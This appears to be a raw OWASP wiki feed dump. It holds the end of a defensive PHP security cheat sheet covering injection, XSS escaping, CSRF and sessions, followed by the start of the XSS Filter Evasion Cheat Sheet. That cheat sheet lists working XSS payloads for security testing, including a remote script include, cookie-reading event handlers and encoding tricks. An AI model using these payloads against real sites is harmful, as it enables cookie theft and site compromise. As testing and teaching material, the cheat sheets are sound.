Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=188147</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=188147"/>
				<updated>2015-01-15T09:32:52Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Escaping JavaScript escapes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS locator 2 ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS  [http://ha.ckers.org/xsscalc.html Calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS [http://ha.ckers.org/xsscalc.html calculator] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
